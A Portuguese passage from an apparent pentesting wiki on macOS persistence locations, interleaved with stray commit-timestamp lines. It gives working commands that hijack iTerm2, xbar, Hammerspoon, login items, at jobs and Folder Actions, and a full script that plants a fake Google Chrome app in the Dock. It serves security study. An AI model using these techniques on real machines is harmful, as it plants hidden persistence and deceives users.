await iterm2.Window.async_create(connection)
iterm2.run_forever(main)
EOF
```
2023-09-28 20:14:50 +00:00
O script ** `~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt` ** também será executado:
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
2024-03-17 16:28:29 +00:00
As preferências do iTerm2 localizadas em ** `~/Library/Preferences/com.googlecode.iterm2.plist` ** podem **indicar um comando a ser executado** quando o terminal iTerm2 é aberto.
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
Essa configuração pode ser feita nas configurações do iTerm2:
2023-09-28 19:21:57 +00:00
2024-03-17 16:28:29 +00:00
< figure > < img src = "../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt = "" width = "563" > < figcaption > < / figcaption > < / figure >
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
E o comando é refletido nas preferências:
```bash
plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
2023-06-01 21:09:46 +00:00
```
2023-09-28 20:14:50 +00:00
Você pode definir o comando a ser executado com:
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
{% code overflow="wrap" %}
2023-09-28 19:21:57 +00:00
```bash
2023-09-28 20:14:50 +00:00
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
2023-09-28 19:21:57 +00:00
```
2023-09-28 20:14:50 +00:00
{% endcode %}
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
{% hint style="warning" %}
2024-02-07 05:33:07 +00:00
Altamente provável que existam **outras maneiras de abusar das preferências do iTerm2** para executar comandos arbitrários.
2023-09-28 20:14:50 +00:00
{% endhint %}
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
### xbar
2024-02-07 05:33:07 +00:00
Descrição: [https://theevilbit.github.io/beyond/beyond\_0007/ ](https://theevilbit.github.io/beyond/beyond\_0007/ )
2023-09-28 20:14:50 +00:00
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [✅ ](https://emojipedia.org/check-mark-button )
2023-09-28 20:14:50 +00:00
* Mas o xbar deve estar instalado
2024-02-07 05:33:07 +00:00
* Bypass do TCC: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:50:30 +00:00
* Ele solicita permissões de Acessibilidade
2023-09-28 19:21:57 +00:00
#### Localização
2023-09-28 20:14:50 +00:00
* **`~/Library/Application\ Support/xbar/plugins/`**
2023-12-29 14:33:12 +00:00
* **Gatilho**: Uma vez que o xbar é executado
#### Descrição
2023-09-28 20:14:50 +00:00
2024-03-17 16:28:29 +00:00
Se o popular programa [**xbar** ](https://github.com/matryer/xbar ) estiver instalado, é possível escrever um script shell em ** `~/Library/Application\ Support/xbar/plugins/` ** que será executado quando o xbar for iniciado:
2023-12-29 14:33:12 +00:00
```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" < < EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
```
2023-09-28 20:14:50 +00:00
### Hammerspoon
2024-02-07 05:33:07 +00:00
**Descrição**: [https://theevilbit.github.io/beyond/beyond\_0008/ ](https://theevilbit.github.io/beyond/beyond\_0008/ )
2023-09-28 20:14:50 +00:00
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [✅ ](https://emojipedia.org/check-mark-button )
2023-12-26 02:05:14 +00:00
* Mas o Hammerspoon deve estar instalado
2024-02-07 05:33:07 +00:00
* Bypass do TCC: [✅ ](https://emojipedia.org/check-mark-button )
* Requer permissões de Acessibilidade
2023-09-28 20:14:50 +00:00
#### Localização
* **`~/.hammerspoon/init.lua`**
2024-02-07 05:33:07 +00:00
* **Gatilho**: Uma vez que o Hammerspoon é executado
2023-09-28 19:21:57 +00:00
#### Descrição
2024-03-17 16:28:29 +00:00
[**Hammerspoon** ](https://github.com/Hammerspoon/hammerspoon ) atua como uma plataforma de automação para o **macOS** , utilizando a linguagem de script **LUA** para suas operações. Notavelmente, suporta a integração de código AppleScript completo e a execução de scripts shell, aprimorando significativamente suas capacidades de script.
2023-09-28 19:21:57 +00:00
2023-12-30 01:05:06 +00:00
O aplicativo procura por um único arquivo, `~/.hammerspoon/init.lua` , e quando iniciado, o script será executado.
2023-09-28 20:14:50 +00:00
```bash
2023-12-29 14:33:12 +00:00
mkdir -p "$HOME/.hammerspoon"
2023-09-28 20:14:50 +00:00
cat > "$HOME/.hammerspoon/init.lua" < < EOF
2023-12-29 14:33:12 +00:00
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
2023-09-28 20:14:50 +00:00
EOF
```
2024-02-13 00:50:30 +00:00
### BetterTouchTool
* Útil para contornar a sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Mas o BetterTouchTool deve estar instalado
* Bypass do TCC: [✅ ](https://emojipedia.org/check-mark-button )
* Solicita permissões de Automação-Atalhos e Acessibilidade
#### Localização
* `~/Library/Application Support/BetterTouchTool/*`
2024-02-23 16:42:31 +00:00
Esta ferramenta permite indicar aplicativos ou scripts para executar quando alguns atalhos são pressionados. Um atacante pode configurar seu próprio **atalho e ação para executar no banco de dados** para fazer com que ele execute código arbitrário (um atalho poderia ser apenas pressionar uma tecla).
2024-02-13 00:50:30 +00:00
### Alfred
* Útil para contornar a sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Mas o Alfred deve estar instalado
* Bypass do TCC: [✅ ](https://emojipedia.org/check-mark-button )
* Solicita permissões de Automação, Acessibilidade e até acesso total ao disco
#### Localização
* `???`
2024-03-17 16:28:29 +00:00
Permite criar fluxos de trabalho que podem executar código quando certas condições são atendidas. Potencialmente, é possível para um atacante criar um arquivo de fluxo de trabalho e fazer o Alfred carregá-lo (é necessário pagar pela versão premium para usar fluxos de trabalho).
2024-02-13 00:50:30 +00:00
2023-09-28 19:21:57 +00:00
### SSHRC
2024-02-13 00:50:30 +00:00
Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/ ](https://theevilbit.github.io/beyond/beyond\_0006/ )
2023-09-28 20:14:50 +00:00
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Mas o ssh precisa estar habilitado e em uso
* Bypass do TCC: [✅ ](https://emojipedia.org/check-mark-button )
2024-03-17 16:28:29 +00:00
* O SSH costumava ter acesso total ao disco
2023-09-28 19:21:57 +00:00
#### Localização
* **`~/.ssh/rc`**
* **Gatilho**: Login via ssh
* **`/etc/ssh/sshrc`**
2024-02-07 05:33:07 +00:00
* Requer privilégios de root
2023-09-28 19:21:57 +00:00
* **Gatilho**: Login via ssh
2023-12-29 14:33:12 +00:00
{% hint style="danger" %}
2024-02-13 00:50:30 +00:00
Para ativar o ssh, é necessário Acesso Total ao Disco:
2023-12-29 14:33:12 +00:00
```bash
sudo systemsetup -setremotelogin on
```
{% endhint %}
2023-12-26 02:05:14 +00:00
#### Descrição & Exploração
2023-09-28 19:21:57 +00:00
2023-12-26 02:05:14 +00:00
Por padrão, a menos que `PermitUserRC no` em `/etc/ssh/sshd_config` , quando um usuário **faz login via SSH** os scripts ** `/etc/ssh/sshrc` ** e ** `~/.ssh/rc` ** serão executados.
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
### **Itens de Login**
2023-09-28 19:21:57 +00:00
2024-03-17 16:28:29 +00:00
Descrição: [https://theevilbit.github.io/beyond/beyond\_0003/ ](https://theevilbit.github.io/beyond/beyond\_0003/ )
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [✅ ](https://emojipedia.org/check-mark-button )
2024-03-17 16:28:29 +00:00
* Mas é necessário executar `osascript` com argumentos
* Contorno TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
#### Localizações
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
* **Gatilho:** Login
* Payload de exploração armazenado chamando ** `osascript` **
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
* **Gatilho:** Login
2024-02-07 05:33:07 +00:00
* Requer privilégios de root
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
#### Descrição
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
Em Preferências do Sistema -> Usuários e Grupos -> **Itens de Login** você pode encontrar **itens a serem executados quando o usuário faz login** .\
É possível listá-los, adicionar e remover a partir da linha de comando:
2023-09-28 19:21:57 +00:00
```bash
2023-09-28 20:14:50 +00:00
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'
```
2023-12-31 00:07:27 +00:00
Estes itens são armazenados no arquivo ** `~/Library/Application Support/com.apple.backgroundtaskmanagementagent` **
2023-09-28 19:21:57 +00:00
2024-03-17 16:28:29 +00:00
Os **itens de login** também podem ser indicados usando a API [SMLoginItemSetEnabled ](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc ) que irá armazenar a configuração em ** `/var/db/com.apple.xpc.launchd/loginitems.501.plist` **
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
### ZIP como Item de Login
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
(Verifique a seção anterior sobre Itens de Login, esta é uma extensão)
2023-09-28 19:21:57 +00:00
2024-03-17 16:28:29 +00:00
Se você armazenar um arquivo **ZIP** como um **Item de Login** , o ** `Archive Utility` ** irá abri-lo e se o zip estiver, por exemplo, armazenado em ** `~/Library` ** e contiver a pasta ** `LaunchAgents/file.plist` ** com uma porta dos fundos, essa pasta será criada (não é por padrão) e o plist será adicionado para que na próxima vez que o usuário fizer login novamente, a **porta dos fundos indicada no plist será executada** .
2023-09-28 19:21:57 +00:00
2024-03-17 16:28:29 +00:00
Outra opção seria criar os arquivos ** `.bash_profile` ** e ** `.zshenv` ** dentro do diretório do usuário para que, se a pasta LaunchAgents já existir, essa técnica ainda funcione.
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
### At
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
Artigo: [https://theevilbit.github.io/beyond/beyond\_0014/ ](https://theevilbit.github.io/beyond/beyond\_0014/ )
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Mas você precisa **executar** o ** `at` ** e ele deve estar **habilitado**
* Bypass do TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-12-30 01:05:06 +00:00
2023-09-28 20:14:50 +00:00
#### Localização
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
* Precisa **executar** o ** `at` ** e ele deve estar **habilitado**
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
#### **Descrição**
2023-09-28 19:21:57 +00:00
2024-03-17 16:28:29 +00:00
As tarefas `at` são projetadas para **agendar tarefas únicas** a serem executadas em horários específicos. Ao contrário dos trabalhos do cron, as tarefas `at` são automaticamente removidas após a execução. É crucial observar que essas tarefas são persistentes através de reinicializações do sistema, o que as torna potenciais preocupações de segurança sob certas condições.
2023-09-28 19:21:57 +00:00
2024-03-17 16:28:29 +00:00
Por **padrão** , elas estão **desativadas** , mas o usuário **root** pode **habilitá-las** com:
2023-09-28 20:14:50 +00:00
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
Isso criará um arquivo em 1 hora:
```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```
2024-02-07 05:33:07 +00:00
Verifique a fila de trabalhos usando `atq:`
2023-09-28 20:14:50 +00:00
```shell-session
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
2024-01-10 07:09:16 +00:00
Acima podemos ver dois trabalhos agendados. Podemos imprimir os detalhes do trabalho usando `at -c JOBNUMBER`
2023-09-28 20:14:50 +00:00
```shell-session
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >& 2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt
```
{% hint style="warning" %}
2024-02-07 05:33:07 +00:00
Se as tarefas AT não estiverem habilitadas, as tarefas criadas não serão executadas.
2023-09-28 20:14:50 +00:00
{% endhint %}
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
Os **arquivos de tarefa** podem ser encontrados em `/private/var/at/jobs/`
2023-09-28 20:14:50 +00:00
```
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
```
2024-02-07 05:33:07 +00:00
O nome do arquivo contém a fila, o número do trabalho e o horário agendado para ser executado. Por exemplo, vamos dar uma olhada em `a0001a019bdcd2` .
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
- `a` - esta é a fila
- `0001a` - número do trabalho em hexadecimal, `0x1a = 26`
2024-02-23 16:42:31 +00:00
- `019bdcd2` - horário em hexadecimal. Representa os minutos passados desde o epoch. `0x019bdcd2` é `26991826` em decimal. Se multiplicarmos por 60, obtemos `1619509560` , que é `GMT: 27 de abril de 2021, terça-feira 7:46:00` .
2023-09-28 19:21:57 +00:00
2024-03-17 16:28:29 +00:00
Se imprimirmos o arquivo de trabalho, encontramos que ele contém as mesmas informações que obtivemos usando `at -c` .
2023-09-28 19:21:57 +00:00
### Ações de Pasta
2024-02-07 05:33:07 +00:00
Análise: [https://theevilbit.github.io/beyond/beyond\_0024/ ](https://theevilbit.github.io/beyond/beyond\_0024/ )\
Análise: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d ](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d )
2023-09-28 20:14:50 +00:00
2024-02-07 05:33:07 +00:00
- Útil para contornar a sandbox: [✅ ](https://emojipedia.org/check-mark-button )
2024-02-13 00:50:30 +00:00
- Mas você precisa ser capaz de chamar `osascript` com argumentos para contatar ** `System Events` ** para poder configurar Ações de Pasta
2024-03-17 16:28:29 +00:00
- Bypass de TCC: [🟠 ](https://emojipedia.org/large-orange-circle )
- Possui algumas permissões básicas do TCC como Desktop, Documentos e Downloads
2023-09-28 19:21:57 +00:00
#### Localização
2024-02-07 05:33:07 +00:00
- **`/Library/Scripts/Folder Action Scripts`**
2024-03-17 16:28:29 +00:00
- Root necessário
2024-02-07 05:33:07 +00:00
- **Gatilho**: Acesso à pasta especificada
- **`~/Library/Scripts/Folder Action Scripts`**
- **Gatilho**: Acesso à pasta especificada
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
#### Descrição e Exploração
2023-09-28 19:21:57 +00:00
2024-02-23 16:42:31 +00:00
As Ações de Pasta são scripts acionados automaticamente por alterações em uma pasta, como adicionar, remover itens, ou outras ações como abrir ou redimensionar a janela da pasta. Essas ações podem ser utilizadas para várias tarefas e podem ser acionadas de diferentes maneiras, como usando a interface do Finder ou comandos de terminal.
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
Para configurar Ações de Pasta, você tem opções como:
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
1. Criar um fluxo de trabalho de Ação de Pasta com [Automator ](https://support.apple.com/guide/automator/welcome/mac ) e instalá-lo como um serviço.
2. Anexar um script manualmente via Configuração de Ações de Pasta no menu de contexto de uma pasta.
3. Utilizar OSAScript para enviar mensagens de Evento Apple para o `System Events.app` para configurar programaticamente uma Ação de Pasta.
* Este método é particularmente útil para incorporar a ação no sistema, oferecendo um nível de persistência.
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
O script a seguir é um exemplo do que pode ser executado por uma Ação de Pasta:
2023-09-28 19:21:57 +00:00
```applescript
2024-02-07 05:33:07 +00:00
// source.js
2023-09-28 19:21:57 +00:00
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
2024-02-07 05:33:07 +00:00
Para tornar o script acima utilizável pelas Ações de Pasta, compile-o usando:
```bash
osacompile -l JavaScript -o folder.scpt source.js
```
2024-02-08 22:20:49 +00:00
Depois que o script for compilado, configure as Ações de Pasta executando o script abaixo. Este script habilitará as Ações de Pasta globalmente e anexará especificamente o script compilado anteriormente à pasta Desktop.
2023-09-28 19:21:57 +00:00
```javascript
2024-02-07 05:33:07 +00:00
// Enabling and attaching Folder Action
2023-09-28 19:21:57 +00:00
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);
```
2024-02-07 05:33:07 +00:00
Execute o script de configuração com:
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
* Esta é a maneira de implementar essa persistência via GUI:
2023-09-28 19:21:57 +00:00
Este é o script que será executado:
{% code title="source.js" %}
```applescript
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
{% endcode %}
2024-02-23 16:42:31 +00:00
Compile com: `osacompile -l JavaScript -o folder.scpt source.js`
2023-09-28 19:21:57 +00:00
2024-02-23 16:42:31 +00:00
Mova para:
2023-09-28 19:21:57 +00:00
```bash
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
2024-02-13 00:50:30 +00:00
Em seguida, abra o aplicativo `Folder Actions Setup` , selecione a **pasta que deseja monitorar** e selecione no seu caso ** `folder.scpt` ** (no meu caso, eu o chamei de output2.scp):
2023-09-28 19:21:57 +00:00
2024-02-08 22:20:49 +00:00
< figure > < img src = "../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt = "" width = "297" > < figcaption > < / figcaption > < / figure >
2023-09-28 19:21:57 +00:00
Agora, se você abrir essa pasta com o **Finder** , seu script será executado.
Essa configuração foi armazenada no **plist** localizado em ** `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist` ** em formato base64.
2024-02-07 05:33:07 +00:00
Agora, vamos tentar preparar essa persistência sem acesso à GUI:
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
1. **Copie `~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`** para `/tmp` para fazer backup:
2023-09-28 19:21:57 +00:00
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
2023-12-26 02:05:14 +00:00
2. **Remova** as Ações de Pasta que você acabou de configurar:
2023-09-28 19:21:57 +00:00
2024-03-17 16:28:29 +00:00
< figure > < img src = "../.gitbook/assets/image (3) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-09-28 19:21:57 +00:00
Agora que temos um ambiente vazio
3. Copie o arquivo de backup: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
2024-02-23 16:42:31 +00:00
4. Abra o aplicativo Folder Actions Setup para consumir essa configuração: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
2023-09-28 19:21:57 +00:00
{% hint style="danger" %}
2024-03-17 16:28:29 +00:00
E isso não funcionou para mim, mas essas são as instruções do relatório:(
2023-09-28 19:21:57 +00:00
{% endhint %}
2024-02-07 05:33:07 +00:00
### Atalhos do Dock
2023-09-28 19:21:57 +00:00
2024-03-17 16:28:29 +00:00
Relatório: [https://theevilbit.github.io/beyond/beyond\_0027/ ](https://theevilbit.github.io/beyond/beyond\_0027/ )
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [✅ ](https://emojipedia.org/check-mark-button )
* Mas você precisa ter instalado um aplicativo malicioso no sistema
2023-12-30 01:05:06 +00:00
* Bypass do TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:14:50 +00:00
2023-09-28 19:21:57 +00:00
#### Localização
* `~/Library/Preferences/com.apple.dock.plist`
2023-09-28 20:14:50 +00:00
* **Gatilho**: Quando o usuário clica no aplicativo dentro do dock
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
#### Descrição e Exploração
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
Todos os aplicativos que aparecem no Dock são especificados dentro do plist: ** `~/Library/Preferences/com.apple.dock.plist` **
2023-09-28 19:21:57 +00:00
2024-01-10 07:09:16 +00:00
É possível **adicionar um aplicativo** apenas com:
2023-09-28 19:21:57 +00:00
{% code overflow="wrap" %}
```bash
# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /System/Applications/Books.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
# Restart Dock
killall Dock
```
{% endcode %}
2024-02-13 00:50:30 +00:00
Usando alguma **engenharia social** você poderia **se passar, por exemplo, pelo Google Chrome** dentro do dock e realmente executar seu próprio script:
2023-09-28 21:22:22 +00:00
```bash
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat < < EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
< !DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
< key > CFBundleExecutable< / key >
< string > Google Chrome< / string >
< key > CFBundleIdentifier< / key >
< string > com.google.Chrome< / string >
< key > CFBundleName< / key >
< string > Google Chrome< / string >
< key > CFBundleVersion< / key >
< string > 1.0< / string >
< key > CFBundleShortVersionString< / key >
< string > 1.0< / string >
< key > CFBundleInfoDictionaryVersion< / key >
< string > 6.0< / string >
< key > CFBundlePackageType< / key >
< string > APPL< / string >
< key > CFBundleIconFile< / key >
< string > app< / string >
< / dict >
< / plist >
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '< dict > < key > tile-data< / key > < dict > < key > file-data< / key > < dict > < key > _CFURLString< / key > < string > /tmp/Google Chrome.app< / string > < key > _CFURLStringType< / key > < integer > 0< / integer > < / dict > < / dict > < / dict > '
killall Dock
```
2024-03-17 16:28:29 +00:00
### Selecionadores de Cores
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
Descrição: [https://theevilbit.github.io/beyond/beyond\_0017 ](https://theevilbit.github.io/beyond/beyond\_0017/ )
2023-09-28 20:14:50 +00:00
2023-12-31 00:07:27 +00:00
* Útil para contornar a sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
2023-09-28 20:14:50 +00:00
* Uma ação muito específica precisa acontecer
2024-02-07 05:33:07 +00:00
* Você acabará em outra sandbox
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 19:21:57 +00:00
#### Localização
2024-01-10 07:09:16 +00:00
* `/Library/ColorPickers`
2024-03-17 16:28:29 +00:00
* Necessário acesso de root
* Gatilho: Usar o selecionador de cores
2023-09-28 19:21:57 +00:00
* `~/Library/ColorPickers`
2024-03-17 16:28:29 +00:00
* Gatilho: Usar o selecionador de cores
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
#### Descrição e Exploração
2023-09-28 19:21:57 +00:00
2024-03-17 16:28:29 +00:00
**Compile um** pacote de selecionador de cores com seu código (você poderia usar [**este, por exemplo** ](https://github.com/viktorstrate/color-picker-plus )) e adicione um construtor (como na seção [Protetor de Tela ](macos-auto-start-locations.md#screen-saver )) e copie o pacote para `~/Library/ColorPickers` .
2023-09-28 19:21:57 +00:00
2024-03-17 16:28:29 +00:00
Então, quando o selecionador de cores for acionado, seu código também deve ser.
2023-09-28 19:21:57 +00:00
2024-02-13 00:50:30 +00:00
Observe que o binário que carrega sua biblioteca tem uma **sandbox muito restritiva** : `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
2023-09-28 19:21:57 +00:00
{% code overflow="wrap" %}
```bash
[Key] com.apple.security.temporary-exception.sbpl
[Value]
[Array]
[String] (deny file-write* (home-subpath "/Library/Colors"))
[String] (allow file-read* process-exec file-map-executable (home-subpath "/Library/ColorPickers"))
[String] (allow file-read* (extension "com.apple.app-sandbox.read"))
```
{% endcode %}
2024-02-07 05:33:07 +00:00
### Plugins do Finder Sync
2023-09-28 20:14:50 +00:00
2024-02-07 05:33:07 +00:00
**Descrição**: [https://theevilbit.github.io/beyond/beyond\_0026/ ](https://theevilbit.github.io/beyond/beyond\_0026/ )\
**Descrição**: [https://objective-see.org/blog/blog\_0x11.html ](https://objective-see.org/blog/blog\_0x11.html )
2023-09-28 19:21:57 +00:00
2024-02-13 00:50:30 +00:00
* Útil para contornar a sandbox: **Não, porque você precisa executar seu próprio aplicativo**
* Bypass TCC: ???
2023-09-28 19:21:57 +00:00
#### Localização
2023-09-28 20:14:50 +00:00
* Um aplicativo específico
2023-09-28 19:21:57 +00:00
2024-02-23 16:42:31 +00:00
#### Descrição e Exploração
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
Um exemplo de aplicativo com uma Extensão do Finder Sync [**pode ser encontrado aqui** ](https://github.com/D00MFist/InSync ).
2023-06-01 21:09:46 +00:00
2024-03-17 16:28:29 +00:00
Aplicativos podem ter `Extensões do Finder Sync` . Essa extensão será inserida em um aplicativo que será executado. Além disso, para que a extensão consiga executar seu código, **ela deve ser assinada** com um certificado de desenvolvedor da Apple válido, deve estar **em sandbox** (embora exceções relaxadas possam ser adicionadas) e deve ser registrada com algo como:
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:14:50 +00:00
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
2023-06-01 21:09:46 +00:00
```
2023-09-28 19:21:57 +00:00
### Protetor de Tela
2024-02-07 05:33:07 +00:00
Descrição: [https://theevilbit.github.io/beyond/beyond\_0016/ ](https://theevilbit.github.io/beyond/beyond\_0016/ )\
Descrição: [https://posts.specterops.io/saving-your-access-d562bf5bf90b ](https://posts.specterops.io/saving-your-access-d562bf5bf90b )
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
* Útil para contornar a sandbox: [🟠 ](https://emojipedia.org/large-orange-circle )
* Mas você acabará em uma sandbox de aplicativo comum
* Bypass TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:14:50 +00:00
2023-09-28 19:21:57 +00:00
#### Localização
2024-01-10 07:09:16 +00:00
* `/System/Library/Screen Savers`
2024-02-07 05:33:07 +00:00
* Requer privilégios de root
2023-09-28 19:21:57 +00:00
* **Gatilho**: Selecionar o protetor de tela
* `/Library/Screen Savers`
2024-02-07 05:33:07 +00:00
* Requer privilégios de root
2023-09-28 19:21:57 +00:00
